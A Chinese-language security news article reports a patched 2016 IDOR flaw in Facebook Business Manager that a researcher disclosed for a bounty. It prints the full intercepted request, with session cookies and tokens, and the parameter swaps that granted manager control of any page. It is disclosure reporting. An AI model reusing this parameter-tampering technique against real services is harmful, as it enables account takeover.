如何黑掉你的Facebook?这位来自印度的安全研究专家表示有话要说。根据国外媒体的最新报道,一位名叫ArunSureshkumar的印度安全专家在Facebook的“企业管理平台”(BusinessManager)中发现了一个严重的漏洞,攻击者可以利用该漏洞来攻击任何人的Facebook主页。
Facebook的企业管理平台(BusinessManager)是什么?
“企业管理平台”可以帮助企业、广告代理商、或行销人员在统一界面下集中管理企业旗下的Facebook主页、广告账号、以及付款方式,从而避免了管理人员需要不断切换界面的尴尬局面。
大型企业旗下通常会有多个Facebook粉丝主页,而这些主页又各自有不同的市场定位和目标。对于企业管理者而言,“企业管理平台”可以帮助他们在同一界面下管理所有的粉丝专页和广告账号,不仅如此,他们还可以查看、移除、或变更相应用户的权限。
而各个Facebook粉丝专页的管理者可以登入“企业管理平台”,并直接访问广告账号和主页的各种信息。此时并不会向雇主显示所有的Facebook个人资料,仅会显示姓名、公司名称、以及广告账号等信息,所以管理者不必担心需要将工作上接触的人加为Facebook好友。
不安全的直接对象引用
在我们对这一攻击技术进行分析之前,请允许我先给大家介绍一下“不安全的直接对象引用”的概念。
根据OWASP项目(开放式Web应用程序安全项目)所提供的定义,当一个Web应用程序可以根据用户提供的输入信息来向用户提供对象的直接访问,那么这就是一种不安全的直接对象引用。这个漏洞的存在,将允许攻击者绕过系统的身份验证机制,并直接访问到网络系统中的所有资源。
根据OWASP项目官方提供的信息:
“不安全的直接对象引用将允许攻击者绕过系统的身份验证机制,并可以通过修改对象的引用参数值来直接访问系统资源。这些资源有可能是属于其他用户的数据库数据,也有可能是存储在文件系统中的文件。如果Web应用程序在没有对用户的输入数据进行安全检测的情况下直接向用户提供了请求对象的访问权限,那么就会出现这种不安全的情况。”
Facebook漏洞分析
Sureshkumar在Facebook的企业管理平台中发现了一个IDOR(InsecureDirect Object References)漏洞,而在这个漏洞的帮助下,他可以在十秒之内获取到任意Facebook主页的控制权。
Sureshkumar用他的Facebook账号(ID=907970555981524)添加了一个测试账号(作为partner账号),这个partner账号的ID为991079870975788。他在测试中使用了BurpSuite来拦截Facebook的网络请求信息,并且修改了请求中的部分数据。
Sureshkumar在他发表的分析报告中公布了包含漏洞的网络请求数据:
- POST /business_share/asset_to_agency/?dpr=2 HTTP/1.1
- Host: business.facebook.com
- Connection: close
- Content-Length: 436
- Origin: https://business.facebook.com
- User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
- Content-Type: application/x-www-form-urlencoded
- Accept: */*
- Referer:https://business.facebook.com/settings/pages/536195393199075?business_id=907970555981524
- Accept-Encoding: gzip, deflate, br
- Accept-Language: en-US,en;q=0.8
- Cookie: rc=2; datr=AWE3V–DUGNTOAy0wTGmpAXb; locale=en_GB;sb=BWE3V1vCnlxJF87yY9a8WWjP; pl=n; lu=gh2GPBnmZY1B1j_7J0Zi3nAA;c_user=100000771680694; xs=25%3A5C6rNSCaCX92MA%3A2%3A1472402327%3A4837;fr=05UM8RW0tTkDVgbSW.AWUB4pn0DvP1fQoqywWeORlj_LE.BXN2EF.IL.FfD.0.0.BXxBSo.AWXdKm2I;csm=2; s=Aa50vjfSfyFHHmC1.BXwxOY; _ga=GA1.2.1773948073.1464668667; p=-2;presence=EDvF3EtimeF1472469215EuserFA21B00771680694A2EstateFDutF1472469215051CEchFDp_5f1B00771680694F7CC;act=1472469233458%2F6
- parent_business_id=907970555981524&agency_id=991079870975788&asset_id=536195393199075&role=MANAGER&__user=100000771680694&__a=1&__dyn=aKU-XxaAcoaucCJDzopz8aWKFbGEW8UhrWqw-xG2G4aK2i8zFE8oqCwkoSEvmbgcFV8SmqVUzxeUW4ohAxWdwSDBzovU-eBCy8b48xicx2aGewzwEx2qEN4yECcKbBy9onwFwHCBxungXKdAw&__req=e&__be=-1&__pc=PHASED%3Abrands_pkg&fb_dtsg=AQHoLGh1HUmf%3AAQGT4fDF1-nQ&ttstamp=265817211176711044972851091025865817184521026870494511081&__rev=2530733
那么拿到这些数据之后,怎么才能攻击Facebook主页呢?
他用目标Facebook账号的ID值替换了请求数据中“asset_id”参数值,然后交换了“parent_business_id”和“agency_id”的值。除此之外,他还将“role”参数的值修改成了“MANAGER”。
- parent_business_id= 991079870975788
- agency_id= 907970555981524
- asset_id =190313461381022
- role= MANAGER
通过上述这一系列操作之后,Sureshkumar演示了如何攻击Facebook主页,并获取到了企业管理平台页面的管理员权限。除此之外,Sureshkumar还发布了一段攻击演示视频。
PoC视频:
结束语
这位来自印度的安全研究专家于2016年8月29日正式将该漏洞提交给了Facebook。Facebook的安全技术人员对该漏洞进行了分析,并且在调查过程中还意外发现了平台中的另外一个安全漏洞。
根据Facebook的漏洞奖励计划,这位社交网络中的巨头向Sureshkumar提供了一万六千美元的漏洞奖金。这个漏洞竟然价值1.6万美金,请问各位BugHunter心动了吗?